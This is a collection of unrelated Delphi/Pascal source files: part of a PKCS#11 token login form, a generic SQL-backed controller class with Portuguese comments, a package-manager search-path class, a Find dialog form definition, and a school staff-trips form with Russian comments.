property AllowSkip: boolean read FAllowSkip write SetAllowSkip;
end;
implementation
{$R *.dfm}
uses
SDUGeneral,
lcDialogs,
SDUi18n,
pkcs11_slot,
pkcs11_token,
PKCS11Lib;
resourcestring
RS_SLOT_REMOVED = 'Slot removed; token no longer available - please reselect and try again';
RS_TOKEN_REMOVED = 'Token no longer available; please reselect and try again';
procedure TfrmPKCS11Session.FormCreate(Sender: TObject);
begin
FPKCS11Session := nil;
edPIN.PasswordChar := '*';
edPIN.text := '';
FAllowSkip := TRUE;
end;
procedure TfrmPKCS11Session.FormShow(Sender: TObject);
begin
PopulateTokens();
end;
procedure TfrmPKCS11Session.pbOKClick(Sender: TObject);
var
slot: TPKCS11Slot;
token: TPKCS11Token;
allOK: boolean;
loginOK: boolean;
slotID: integer;
begin
// Test to see if the user's entered a valid *user* pin
FPKCS11Session := nil;
allOK := TRUE;
slot := nil;
token := nil;
slotID := PKCS11TokenListSelected(cbToken);
if allOK then
begin
slot := PKCS11LibObj.SlotByID[slotID];
if (slot = nil) then
begin
SDUMessageDlg(RS_SLOT_REMOVED, mtError);
// Be helpful - refresh the list
PopulateTokens();
allOK := FALSE;
end;
end;
if allOK then
begin
try
token := slot.Token();
except
on E:Exception do
begin
token := nil;
end;
end;
if (token = nil) then
begin
SDUMessageDlg(RS_TOKEN_REMOVED, mtError);
// Be helpful - refresh the list
PopulateTokens();
allOK := FALSE;
end;
end;
if allOK then
begin
FPKCS11Session := token.OpenSession(FALSE);
if (FPKCS11Session = nil) then
begin
SDUMessageDlg(
SDUParamSubstitute(_('Unable to open session for token in slot %1'), [slotID])+SDUCRLF+
SDUCRLF+
FPKCS11Session.RVToString(FPKCS11Session.LastRV),
mtError
);
allOK := FALSE;
end;
end;
if allOK then
begin
// Logout of any previous session (in case already logged in)
FPKCS11Session.Logout();
// Login to session...
if ckUseSecureAuthPath.checked then
begin
loginOK := FPKCS11Session.Login(utUser);
end
else
begin
loginOK := FPKCS11Session.Login(utUser, edPIN.text); { TODO 1 -otdk -cbug : alert user if unicode pin }
end;
if not(loginOK) then
begin
SDUMessageDlg(
_('Login failed')+SDUCRLF+
SDUCRLF+
session.RVToString(session.LastRV),
mtError
);
token.CloseSession(FPKCS11Session);
FPKCS11Session.Free();
FPKCS11Session := nil;
token.Free();
allOK := FALSE;
end;
end;
if allOK then
begin
ModalResult := mrOK;
end;
end;
procedure TfrmPKCS11Session.pbRefreshClick(Sender: TObject);
begin
PopulateTokens();
end;
procedure TfrmPKCS11Session.PopulateTokens();
var
tokensDetected: boolean;
begin
tokensDetected := (PKCS11PopulateTokenList(PKCS11LibObj, cbToken) > 0);
// No tokens, no point in PIN entry
SDUEnableControl(lblPIN, (
tokensDetected and
not(ckUseSecureAuthPath.checked)
));
SDUEnableControl(edPIN, (
tokensDetected and
not(ckUseSecureAuthPath.checked)
));
SDUEnableControl(ckUseSecureAuthPath, tokensDetected);
// Setup buttons...
SDUEnableControl(pbOK, tokensDetected);
pbOK.Default := tokensDetected;
pbSkip.Default := not(tokensDetected);
// Select most useful control
if not(tokensDetected) then
begin
FocusControl(pbRefresh);
end
else if cbToken.enabled then
begin
FocusControl(cbToken);
end
else
begin
FocusControl(edPIN);
end;
end;
procedure TfrmPKCS11Session.ckUseSecureAuthPathClick(Sender: TObject);
begin
SDUEnableControl(edPIN, not(ckUseSecureAuthPath.checked));
end;
procedure TfrmPKCS11Session.SetAllowSkip(skip: boolean);
var
adjust: integer;
begin
// Don't do anything if it's already set as required
if (skip <> FAllowSkip) then
begin
// Adjust button positioning a bit...
adjust := 1;
if skip then
begin
adjust := -1;
end;
adjust := adjust * (pbSkip.width div 2);
pbOK.left := pbOK.left + adjust;
pbCancel.left := pbCancel.left - adjust;
pbSkip.visible := skip;
FAllowSkip := skip;
end;
end;
END.
|
unit unControllerBase;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, unModelBase, SQLDB;
type
EValidationError = class(Exception)
end;
{ IObserverList }
IObserverList = interface
['{A491C2B6-243D-2D07-165C-3ACCA292BA8C}']
procedure UpdateList(AList: TList);
end;
{ IObserverCurrent }
IObserverCurrent = interface
['{F0773E16-B809-BADB-45E6-0315E53B831D}']
procedure UpdateCurrent(ACurrent: TModelBase);
end;
{ IModelValidator }
IModelValidator = interface
['{D9E67C45-89EA-2B87-E0F5-55E10F945453}']
procedure Validate(AModel: TModelBase; out isValid: boolean; out errors: TStringList);
end;
{ TAbstractController }
TAbstractController = class
private
FConnection: TSQLConnection;
FItens: TList;
FCurrent: TModelBase;
FCurrentIndex: integer;
FObserverUpdateList: TList;
FObserverCurrent: TList;
FErrors: TStringList;
function GetGuid(): TGUID;
function ValidateModel(AModel: TModelBase): Boolean;
protected
FQuery: TSQLQuery;
FTransaction: TSQLTransaction;
function GetTemplateSelect:string;virtual;
function GetTableName: string; virtual; abstract;
function GetInsertFieldList: TStringList; virtual; abstract;
procedure SetInsertFieldValues(AModel: TModelBase; AQuery: TSQLQuery);
virtual; abstract;
procedure SetUpdateFieldValues(AModel: TModelBase; AQuery: TSQLQuery);
virtual; abstract;
procedure SetFilterParamsValues(AQuery: TSQLQuery);virtual; abstract;
function PopulateModel(AQuery: TSQLQuery): TModelBase; virtual; abstract;
function GetDefaultOrder: string; virtual;
function GetValidator: IModelValidator; virtual;abstract;
function GetFilterExpression: string; virtual;abstract;
procedure SetCommonsValues(AQuery: TSQLQuery; AModel: TModelBase);
public
function Insert(AModel: TModelBase): TModelBase;
function Update(AModel: TModelBase): TModelBase;
function Delete(AId: string): boolean;
function Get(AId: string): TModelBase;
procedure GetAll;
procedure GetByFilter;
procedure Next;
procedure Prior;
procedure Last;
procedure First;
procedure SetPos(AIndex: integer);
function AtachObserverOnGetAll(AItem: IObserverList): Pointer;
procedure UnAtachObserverOnGetAll(APointer: Pointer);
procedure NotifyOnGetAll;
function AtachObserverCurrent(AItem: IObserverCurrent): Pointer;
procedure UnAtachObserverCurrent(APointer: Pointer);
procedure NotifyOnCurrent;
constructor Create(AConnection: TSQLConnection);virtual;
destructor Destroy; override;
property Itens: TList read FItens;
property Current: TModelBase read FCurrent;
property CurrentIndex: integer read FCurrentIndex;
property Errors: TStringList read FErrors;
end;
implementation
{ TAbstractController }
function TAbstractController.GetGuid(): TGUID;
var
guid: TGuid;
begin
CreateGuid(guid);
Result := guid;
end;
{------------------------------------------------------------------------------
Executa a validação utilizando a implementação GetValidator fornecida na classe
concreta.
------------------------------------------------------------------------------}
function TAbstractController.ValidateModel(AModel: TModelBase): Boolean;
var
isValid: boolean;
begin
GetValidator().Validate(AModel, isValid, FErrors);
result := isValid;
end;
{------------------------------------------------------------------------------
Retorna o comando SQL padrão para trazer registros.
Será utilizado nos métodos GetAll, GetByFilter e Get.
------------------------------------------------------------------------------}
function TAbstractController.GetTemplateSelect: string;
begin
Result := 'SELECT cast(id as varchar) as _id, * FROM %s ';
end;
{------------------------------------------------------------------------------
Retorna a ordem atual para ser implemetnado nos métodos GetAll e GetByFilter.
Deverá ser implementado nas classes concretas.
NÃO DEVERÁ SER PREENCHIDO A SINTAXE 'ORDER BY'
Ex.: nome ASC, dataCadastro DESC
------------------------------------------------------------------------------}
function TAbstractController.GetDefaultOrder: string;
begin
Result := '';
end;
{------------------------------------------------------------------------------
Passa os valores comuns de TModelBase
------------------------------------------------------------------------------}
procedure TAbstractController.SetCommonsValues(AQuery: TSQLQuery;
AModel: TModelBase);
begin
AModel.DataCadastro:= AQuery.FieldByName('DataCadastro').AsDateTime;
AModel.DataAlteracao:= AQuery.FieldByName('DataAlteracao').AsDateTime;
end;
{------------------------------------------------------------------------------
Insere um novo registro
------------------------------------------------------------------------------}
function TAbstractController.Insert(AModel: TModelBase): TModelBase;
const
TEMPLATE = 'INSERT INTO %s ( %s ) VALUES ( %s )';
var
sql: string;
sValues: string;
sParams: string;
i: integer;
fieldList: TStringList;
query: TSQLQuery;
newId: TGuid;
sId: string;
begin
if ( not ValidateModel(AModel) ) then
begin
raise EValidationError.Create('Ocorreu erro de validação!');
end;
newId := GetGuid();
sId := newId.ToString(True);
sql := '';
sValues := 'id, DataCadastro, DataAlteracao';
sParams := ':id, :DataCadastro, :DataAlteracao';
query := TSQLQuery.Create(nil);
query.SQLConnection := FConnection;
query.Transaction := FTransaction;
try
fieldList := GetInsertFieldList();
for i := 0 to fieldList.Count - 1 do
begin
sValues := sValues + ', ' + fieldList[i];
sParams := sParams + ', ' + ':' + fieldList[i];
end;
sql := string.Format(TEMPLATE, [GetTableName(), sValues, sParams]);
try
if (not FTransaction.Active) then
begin
FTransaction.StartTransaction;
end;
query.SQL.Text := sql;
query.Prepare;
SetInsertFieldValues(AModel, query);
query.ParamByName('id').AsString := sId;
query.ParamByName('DataCadastro').AsDateTime := now;
query.ParamByName('DataAlteracao').AsDateTime := now;
query.ExecSQL;
FTransaction.CommitRetaining;
Result := Get(sId);
except
FTransaction.RollbackRetaining;
raise;
end;
finally
query.Free;
query := nil;
end;
end;
{------------------------------------------------------------------------------
Atualiza um registro
------------------------------------------------------------------------------}
function TAbstractController.Update(AModel: TModelBase): TModelBase;
const
TEMPLATE = 'UPDATE %s SET DataAlteracao = :DataAlteracao %s WHERE id = :id';
var
sql: string;
sValues: string;
i: integer;
fieldList: TStringList;
query: TSQLQuery;
begin
if ( not ValidateModel(AModel) ) then
begin
raise EValidationError.Create('Ocorreu erro de validação!');
end;
sql := '';
sValues := '';
query := TSQLQuery.Create(nil);
query.SQLConnection := FConnection;
query.Transaction := FTransaction;
try
fieldList := GetInsertFieldList();
for i := 0 to fieldList.Count - 1 do
begin
sValues := sValues + ', ' + fieldList[i] + ' = :' + fieldList[i];
end;
sql := string.Format(TEMPLATE, [GetTableName(), sValues]);
try
if (not FTransaction.Active) then
begin
FTransaction.StartTransaction;
end;
query.SQL.Text := sql;
query.Prepare;
query.ParamByName('DataAlteracao').AsDateTime:= now;
SetUpdateFieldValues(AModel, query);
query.ParamByName('id').AsString := AModel.Id;
query.ExecSQL;
FTransaction.CommitRetaining;
Result := Get(AModel.Id);
except
FTransaction.RollbackRetaining;
raise;
end;
finally
query.Free;
query := nil;
end;
end;
{------------------------------------------------------------------------------
Realiza uma exclusão pelo ID do registro
------------------------------------------------------------------------------}
function TAbstractController.Delete(AId: string): boolean;
const
TEMPLATE = 'DELETE FROM %s WHERE %s.id = :id';
var
sql: string;
query: TSQLQuery;
begin
sql := '';
query := TSQLQuery.Create(nil);
query.SQLConnection := FConnection;
query.Transaction := FTransaction;
try
sql := string.Format(TEMPLATE, [GetTableName(), GetTableName()]);
try
if (not FTransaction.Active) then
begin
FTransaction.StartTransaction;
end;
query.SQL.Text := sql;
query.Prepare;
query.ParamByName('id').AsString := AId;
query.ExecSQL;
FTransaction.CommitRetaining;
Result := True;
except
FTransaction.RollbackRetaining;
raise;
end;
finally
query.Free;
query := nil;
end;
end;
{------------------------------------------------------------------------------
Realiza uma consulta trazendo apenas um registro pelo seu ID
------------------------------------------------------------------------------}
function TAbstractController.Get(AId: string): TModelBase;
var
sql: string;
sValues: string;
query: TSQLQuery;
template : string;
begin
template := GetTemplateSelect + ' WHERE '+ GetTableName+ '.id = :id';
sql := '';
sValues := '';
query := TSQLQuery.Create(nil);
query.SQLConnection := FConnection;
query.Transaction := FTransaction;
try
sql := string.Format(TEMPLATE, [GetTableName(), sValues]);
try
query.SQL.Text := sql;
query.Prepare;
query.ParamByName('id').AsString := AId;
query.Open;
Result := PopulateModel(query);
Result.Id := query.FieldByName('id').AsString;
SetCommonsValues(query, Result);
except
raise;
end;
finally
query.Free;
query := nil;
end;
end;
{------------------------------------------------------------------------------
Realiza uma consulta trazendo todo os registros sem filtro algum
------------------------------------------------------------------------------}
procedure TAbstractController.GetAll;
var
template: string;
sql: string;
sOrder: string;
query: TSQLQuery;
model: TModelBase;
begin
template := GetTemplateSelect + ' %s ';
sql := '';
sOrder := '';
query := TSQLQuery.Create(nil);
query.SQLConnection := FConnection;
query.Transaction := FTransaction;
FCurrent := nil;
FCurrentIndex := -1;
if (GetDefaultOrder <> string.Empty) then
begin
sOrder := 'ORDER BY ' + GetDefaultOrder;
end;
if (Assigned(FItens)) then
begin
FItens.Clear;
FreeAndNil(FItens);
end;
FItens := TList.Create;
try
sql := string.Format(TEMPLATE, [GetTableName(), sOrder]);
try
query.SQL.Text := sql;
query.Prepare;
query.ExecSQL;
query.Open;
query.First;
query.DisableControls;
while not query.EOF do
begin
model := PopulateModel(query);
model.Id := query.FieldByName('_id').AsString;
SetCommonsValues(query, model);
FItens.Add(model);
query.Next;
end;
if (FItens.Count > 0) then
begin
FCurrent := TModelBase(FItens.First);
FCurrentIndex := 0;
end;
NotifyOnGetAll();
except
raise;
end;
finally
query.Free;
query := nil;
end;
end;
{------------------------------------------------------------------------------
Realiza uma busca com base em um filtro (DEVERÁ SER IMPLEMETADA NAS CLASSES
CONCRETAS )
------------------------------------------------------------------------------}
procedure TAbstractController.GetByFilter;
var
template: string;
sql: string;
sOrder: string;
query: TSQLQuery;
model: TModelBase;
sFilter: string;
begin
template := GetTemplateSelect + ' %s %s';
sql := '';
sOrder := '';
sFilter := GetFilterExpression;
query := TSQLQuery.Create(nil);
query.SQLConnection := FConnection;
query.Transaction := FTransaction;
FCurrent := nil;
FCurrentIndex := -1;
if (GetDefaultOrder <> string.Empty) then
begin
sOrder := 'ORDER BY ' + GetDefaultOrder;
end;
if (Assigned(FItens)) then
begin
FItens.Clear;
FreeAndNil(FItens);
end;
FItens := TList.Create;
try
sql := string.Format(TEMPLATE, [GetTableName(), sFilter, sOrder]);
try
query.SQL.Text := sql;
query.Prepare;
SetFilterParamsValues(query);
query.ExecSQL;
query.Open;
query.First;
query.DisableControls;
while not query.EOF do
begin
model := PopulateModel(query);
model.Id := query.FieldByName('_id').AsString;
SetCommonsValues(query, model);
FItens.Add(model);
query.Next;
end;
if (FItens.Count > 0) then
begin
FCurrent := TModelBase(FItens.First);
FCurrentIndex := 0;
NotifyOnCurrent;
end;
NotifyOnGetAll();
except
raise;
end;
finally
query.Free;
query := nil;
end;
end;
{------------------------------------------------------------------------------
Navega para o próximo registro
------------------------------------------------------------------------------}
procedure TAbstractController.Next;
begin
try
FCurrent := nil;
if (not Assigned(FItens)) then
begin
FCurrentIndex := -1;
exit;
end;
if (FItens.Count = 0) then
begin
exit;
end;
if (FCurrentIndex < FItens.Count - 1) then
begin
FCurrentIndex := FCurrentIndex + 1;
end;
FCurrent := TModelBase(FItens.Items[FCurrentIndex]);
finally
NotifyOnCurrent();
end;
end;
{------------------------------------------------------------------------------
Navega para o registro anterior
------------------------------------------------------------------------------}
procedure TAbstractController.Prior;
begin
try
FCurrent := nil;
if (not Assigned(FItens)) then
begin
FCurrentIndex := -1;
exit;
end;
if (FItens.Count = 0) then
begin
FCurrentIndex := -1;
exit;
end;
if (FCurrentIndex > 0) then
begin
FCurrentIndex := FCurrentIndex - 1;
end;
FCurrent := TModelBase(FItens.Items[FCurrentIndex]);
finally
NotifyOnCurrent();
end;
end;
{------------------------------------------------------------------------------
Navega para o último registro
------------------------------------------------------------------------------}
procedure TAbstractController.Last;
begin
try
FCurrent := nil;
if (not Assigned(FItens)) then
begin
FCurrentIndex := -1;
exit;
end;
if (FItens.Count = 0) then
begin
FCurrentIndex := -1;
exit;
end;
FCurrentIndex := FItens.Count - 1;
FCurrent := TModelBase(FItens.Items[FCurrentIndex]);
finally
NotifyOnCurrent();
end;
end;
{------------------------------------------------------------------------------
Navega para o primeiro registro
------------------------------------------------------------------------------}
procedure TAbstractController.First;
begin
try
FCurrent := nil;
if (not Assigned(FItens)) then
begin
FCurrentIndex := -1;
exit;
end;
if (FItens.Count = 0) then
begin
FCurrentIndex := -1;
exit;
end;
FCurrentIndex := 0;
FCurrent := TModelBase(FItens.Items[FCurrentIndex]);
finally
NotifyOnCurrent();
end;
end;
{------------------------------------------------------------------------------
Navega para o registro na posição AIndex (0 é o indice inicial)
------------------------------------------------------------------------------}
procedure TAbstractController.SetPos(AIndex: integer);
begin
try
FCurrent := nil;
if (not Assigned(FItens)) then
begin
FCurrentIndex := -1;
exit;
end;
if (FItens.Count = 0) then
begin
FCurrentIndex := -1;
exit;
end;
FCurrentIndex := AIndex;
if (AIndex > FItens.Count - 1) then
begin
FCurrentIndex := FItens.Count - 1;
end;
FCurrent := TModelBase(FItens.Items[FCurrentIndex]);
finally
NotifyOnCurrent();
end;
end;
{------------------------------------------------------------------------------
Adiciona observadores para quando chamar o método GetAll
------------------------------------------------------------------------------}
function TAbstractController.AtachObserverOnGetAll(AItem: IObserverList): Pointer;
var
index: integer;
begin
if (FObserverUpdateList.IndexOf(AItem) > -1) then
begin
Result := nil;
exit;
end;
index := FObserverUpdateList.Add(AItem);
Result := FObserverUpdateList.Items[index];
end;
{------------------------------------------------------------------------------
Remove observadores para o método GetAll
------------------------------------------------------------------------------}
procedure TAbstractController.UnAtachObserverOnGetAll(APointer: Pointer);
begin
if (FObserverUpdateList.IndexOf(APointer) > -1) then
FObserverUpdateList.Delete(FObserverUpdateList.IndexOf(APointer));
end;
{------------------------------------------------------------------------------
Notifica todo os observadores do método GetAll
------------------------------------------------------------------------------}
procedure TAbstractController.NotifyOnGetAll;
var
i: integer;
begin
for i := 0 to FObserverUpdateList.Count - 1 do
begin
IObserverList(FObserverUpdateList.Items[i]).UpdateList(FItens);
end;
end;
{------------------------------------------------------------------------------
Adiciona observadores para quando navegar para o item atual
------------------------------------------------------------------------------}
function TAbstractController.AtachObserverCurrent(AItem: IObserverCurrent): Pointer;
var
index: integer;
begin
if (FObserverCurrent.IndexOf(AItem) > -1) then
begin
Result := nil;
exit;
end;
index := FObserverCurrent.Add(AItem);
Result := FObserverCurrent.Items[index];
end;
{------------------------------------------------------------------------------
Remove observadores para quando navegar para o item atual
------------------------------------------------------------------------------}
procedure TAbstractController.UnAtachObserverCurrent(APointer: Pointer);
begin
if (FObserverCurrent.IndexOf(APointer) > -1) then
FObserverCurrent.Delete(FObserverCurrent.IndexOf(APointer));
end;
{------------------------------------------------------------------------------
Notifica os observadores para quando navegar para o item atual
------------------------------------------------------------------------------}
procedure TAbstractController.NotifyOnCurrent;
var
i: integer;
begin
for i := 0 to FObserverCurrent.Count - 1 do
begin
IObserverCurrent(FObserverCurrent[i]).UpdateCurrent(FCurrent);
end;
end;
constructor TAbstractController.Create(AConnection: TSQLConnection);
begin
FConnection := AConnection;
FTransaction := TSqlTransaction.Create(FConnection);
FQuery := TSqlQuery.Create(FConnection);
FTransaction.SQLConnection := FConnection;
FQuery.SQLConnection := FConnection;
FQuery.Transaction := FTransaction;
FObserverUpdateList := TList.Create;
FObserverCurrent := TList.Create;
FErrors := TStringList.Create;
end;
destructor TAbstractController.Destroy;
begin
FreeAndNil(FTransaction);
FreeAndNil(FQuery);
FObserverUpdateList.Clear;
FObserverUpdateList.Free;
FObserverCurrent.Clear;
FObserverCurrent.Free;
FErrors.Clear;
FErrors.Free;
inherited Destroy;
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Spec.SearchPathGroup;
interface
uses
Spring.Collections,
JsonDataObjects,
DPM.Core.Types,
DPM.Core.TargetPlatform,
DPM.Core.Logging,
DPM.Core.Spec.Interfaces,
DPM.Core.Spec.SearchPath;
type
TSpecSearchPathGroup = class(TSpecSearchPath, ISpecSearchPathGroup)
private
FTargetPlatform : TTargetPlatform;
FSearchPaths : IList<ISpecSearchPath>;
protected
function GetTargetPlatform : TTargetPlatform;
function GetSearchPaths : IList<ISpecSearchPath>;
function Clone : ISpecSearchPath; override;
function IsGroup : Boolean; override;
function LoadFromJson(const jsonObject : TJsonObject) : Boolean; override;
constructor CreateClone(const logger : ILogger; const targetPlatform : TTargetPlatform; const searchPaths : IList<ISpecSearchPath>);
public
constructor Create(const logger : ILogger); override;
end;
implementation
uses
DPM.Core.Constants;
{ TSpecSearchPathGroup }
function TSpecSearchPathGroup.Clone : ISpecSearchPath;
var
searchPaths : IList<ISpecSearchPath>;
clonePath, path : ISpecSearchPath;
begin
searchPaths := TCollections.CreateList<ISpecSearchPath>;
for path in FSearchPaths do
begin
clonePath := path.Clone;
searchPaths.Add(clonePath);
end;
result := TSpecSearchPathGroup.CreateClone(logger, FTargetPlatform.Clone, searchPaths);
end;
constructor TSpecSearchPathGroup.Create(const logger : ILogger);
begin
inherited Create(logger);
FTargetPlatform := TTargetPlatform.Empty;
FSearchPaths := TCollections.CreateList<ISpecSearchPath>;
end;
constructor TSpecSearchPathGroup.CreateClone(const logger : ILogger; const targetPlatform : TTargetPlatform; const searchPaths : IList<ISpecSearchPath>);
begin
inherited Create(logger);
FTargetPlatform := targetPlatform;
FSearchPaths := TCollections.CreateList<ISpecSearchPath>;
FSearchPaths.AddRange(searchPaths);
end;
function TSpecSearchPathGroup.GetSearchPaths : IList<ISpecSearchPath>;
begin
result := FSearchPaths;
end;
function TSpecSearchPathGroup.GetTargetPlatform : TTargetPlatform;
begin
result := FTargetPlatform;
end;
function TSpecSearchPathGroup.IsGroup : Boolean;
begin
result := true;
end;
function TSpecSearchPathGroup.LoadFromJson(const jsonObject : TJsonObject) : Boolean;
var
i : integer;
searchPath : ISpecSearchPath;
sValue : string;
searchPathsArray : TJsonArray;
begin
result := true;
//don't call inherited
sValue := jsonObject.S[cTargetPlatformAttribute];
if sValue = '' then
begin
result := false;
Logger.Error('Required property [' + cTargetPlatformAttribute + '] is missing.');
end
else
begin
if not TTargetPlatform.TryParse(sValue, FTargetPlatform) then
begin
result := false;
Logger.Error('Invalid targetPlatform [' + sValue + ']');
end;
end;
searchPathsArray := jsonObject.A['searchPaths'];
if searchPathsArray.Count = 0 then
exit;
for i := 0 to searchPathsArray.Count - 1 do
begin
searchPath := TSpecSearchPath.Create(Logger);
FSearchPaths.Add(searchPath);
result := searchPath.LoadFromJson(searchPathsArray.O[i]) and result;
end;
end;
end.
|
object FindDlg_11011981: TFindDlg_11011981
Left = 487
Top = 325
BorderStyle = bsToolWindow
Caption = 'Find'
ClientHeight = 118
ClientWidth = 473
Color = clBtnFace
ParentFont = True
OldCreateOrder = True
Position = poScreenCenter
OnCreate = FormCreate
OnShow = FormShow
PixelsPerInch = 120
TextHeight = 16
object Bevel1: TBevel
Left = 10
Top = 10
Width = 424
Height = 60
Shape = bsFrame
end
object Label1: TLabel
Left = 30
Top = 30
Width = 67
Height = 16
Caption = 'Text to find:'
end
object OKBtn: TButton
Left = 142
Top = 84
Width = 92
Height = 30
Cursor = crHandPoint
Caption = 'OK'
Default = True
ModalResult = 1
TabOrder = 0
end
object CancelBtn: TButton
Left = 240
Top = 84
Width = 92
Height = 30
Cursor = crHandPoint
Cancel = True
Caption = 'Cancel'
ModalResult = 2
TabOrder = 1
end
object cbText: TComboBox
Left = 108
Top = 25
Width = 307
Height = 24
ItemHeight = 16
TabOrder = 2
OnEnter = cbTextEnter
end
end
|
unit frmPedagogueTrips;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,
Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.ComCtrls, dbfunc, uKernel;
type
TfPedagogueTrips = class(TForm)
Panel1: TPanel;
cmbOrders: TComboBox;
cmbAcademicYear: TComboBox;
Label1: TLabel;
Label2: TLabel;
Panel2: TPanel;
lvTriping: TListView;
Panel3: TPanel;
lvPedagogue: TListView;
bClose: TButton;
bToTrip: TButton;
bDeleteRecord: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure bCloseClick(Sender: TObject);
procedure cmbOrdersChange(Sender: TObject);
procedure bToTripClick(Sender: TObject);
procedure bDeleteRecordClick(Sender: TObject);
procedure cmbAcademicYearChange(Sender: TObject);
private
AcademicYear: TResultTable;
OrdersTrip: TResultTable;
PedagogueList: TResultTable;
TripingList: TResultTable;
IDOrder: integer;
FIDAcademicYear: integer;
IDPedagogue: integer;
procedure ShowPedagogueList;
// а зачем ей входной та, мож обойдется
procedure ShowTripingList(const id_order: integer);
procedure SetIDAcademicYear(const Value: integer);
public
property IDAcademicYear: integer read FIDAcademicYear
write SetIDAcademicYear;
end;
var
fPedagogueTrips: TfPedagogueTrips;
implementation
{$R *.dfm}
procedure TfPedagogueTrips.bCloseClick(Sender: TObject);
begin
Close;
end;
procedure TfPedagogueTrips.bDeleteRecordClick(Sender: TObject);
var
i, s: integer;
begin
// еще продумать проверку на наличие связанных с нагрузкой записей в расписании и/или журнале
s := 0;
for i := 0 to lvTriping.Items.Count - 1 do
begin
if lvTriping.Items[i].Checked then
s := s + 1;
end;
if s = 0 then
begin
ShowMessage('Выберите записи для удаления!');
Exit;
end;
for i := 0 to lvTriping.Items.Count - 1 do
begin
if lvTriping.Items[i].Checked then
if Kernel.DeletePedagogueTrip([TripingList[i].ValueByName('ID_OUT')]) then
begin
// ShowMessage('Запись удалена!');
// МОЖЕТ НЕ СТОИТ ВЫВОДИТЬ ЭТО СООБЩЕНИЕ!!???
end
else
ShowMessage('Ошибка при удалении записи!');
end;
ShowTripingList(IDOrder);
end;
procedure TfPedagogueTrips.bToTripClick(Sender: TObject);
var
i, s: integer;
id_pedagogue: integer;
begin
s := 0;
for i := 0 to lvPedagogue.Items.Count - 1 do
begin
if lvPedagogue.Items[i].Checked then
s := s + 1;
end;
if s = 0 then
begin
ShowMessage('Выберите записи для зачисления!');
Exit;
end;
for i := 0 to lvPedagogue.Items.Count - 1 do
begin
if lvPedagogue.Items[i].Checked then
begin
id_pedagogue := PedagogueList[i].ValueByName('ID_OUT');
if Kernel.SavePedagogueTrip([id_pedagogue, IDOrder]) then
begin
// ShowMessage('Сохранение выполнено!');
end
else
ShowMessage('Ошибка при сохранении!');
end;
end;
ShowTripingList(IDOrder);
end;
procedure TfPedagogueTrips.cmbAcademicYearChange(Sender: TObject);
begin
if cmbAcademicYear.ItemIndex = 0 then
IDAcademicYear := 0
else
IDAcademicYear := AcademicYear[cmbAcademicYear.ItemIndex - 1]
.ValueByName('ID');
if Assigned(OrdersTrip) then
FreeAndNil(OrdersTrip);
OrdersTrip := Kernel.GetOrdersTrip(IDAcademicYear);
Kernel.FillingComboBox(cmbOrders, OrdersTrip, 'LENGTH_NUMBER_DATE', false);
// убедиться, что не будет ошибки, если в кмб будет пустым, а я указываю первую строку..
cmbOrders.ItemIndex := 0;
if OrdersTrip.Count > 0 then
begin
IDOrder := OrdersTrip[0].ValueByName('ID_OUT');
ShowTripingList(IDOrder);
end
else
lvTriping.Clear;
end;
procedure TfPedagogueTrips.cmbOrdersChange(Sender: TObject);
begin
IDOrder := OrdersTrip[cmbOrders.ItemIndex].ValueByName('ID_OUT');
ShowTripingList(IDOrder);
end;
procedure TfPedagogueTrips.FormCreate(Sender: TObject);
begin
AcademicYear := nil;
OrdersTrip := nil;
PedagogueList := nil;
TripingList := nil;
end;
procedure TfPedagogueTrips.FormDestroy(Sender: TObject);
begin
if Assigned(AcademicYear) then
FreeAndNil(AcademicYear);
if Assigned(OrdersTrip) then
FreeAndNil(OrdersTrip);
if Assigned(PedagogueList) then
FreeAndNil(PedagogueList);
if Assigned(TripingList) then
FreeAndNil(TripingList);
end;
procedure TfPedagogueTrips.FormShow(Sender: TObject);
begin
if not Assigned(AcademicYear) then
AcademicYear := Kernel.GetAcademicYear;
Kernel.FillingComboBox(cmbAcademicYear, AcademicYear, 'NAME', true);
Kernel.ChooseComboBoxItemIndex(cmbAcademicYear, AcademicYear, true, 'ID',
IDAcademicYear);
if not Assigned(OrdersTrip) then
OrdersTrip := Kernel.GetOrdersTrip(IDAcademicYear);
Kernel.FillingComboBox(cmbOrders, OrdersTrip, 'LENGTH_NUMBER_DATE', false);
// убедиться, что не будет ошибки, если в кмб будет пустым, а я указываю первую строку..
cmbOrders.ItemIndex := 0;
if OrdersTrip.Count > 0 then
IDOrder := OrdersTrip[0].ValueByName('ID_OUT');
ShowPedagogueList;
ShowTripingList(IDOrder);
end;
procedure TfPedagogueTrips.SetIDAcademicYear(const Value: integer);
begin
if FIDAcademicYear <> Value then
FIDAcademicYear := Value;
end;
procedure TfPedagogueTrips.ShowPedagogueList;
begin
if Assigned(PedagogueList) then
FreeAndNil(PedagogueList);
PedagogueList := Kernel.GetPedagogueSurnameNP;
// выбираю данные из энтой процедуры, аналогично списку класса педагога
Kernel.GetLVPedagogue(lvPedagogue, PedagogueList);
if lvPedagogue.Items.Count > 0 then
begin
lvPedagogue.ItemIndex := 0;
bToTrip.Enabled := true;
end
else
bToTrip.Enabled := false;
end;
procedure TfPedagogueTrips.ShowTripingList(const id_order: integer);
begin
if Assigned(TripingList) then
FreeAndNil(TripingList);
TripingList := Kernel.GetPedagogueTrips(IDOrder);
// выбираю данные из энтой процедуры, аналогично списку класса педагога
Kernel.GetLVPedagogueTrips(lvTriping, TripingList);
if lvTriping.Items.Count > 0 then
begin
lvTriping.ItemIndex := 0;
bDeleteRecord.Enabled := true;
end
else
bDeleteRecord.Enabled := false;
end;
end.
|
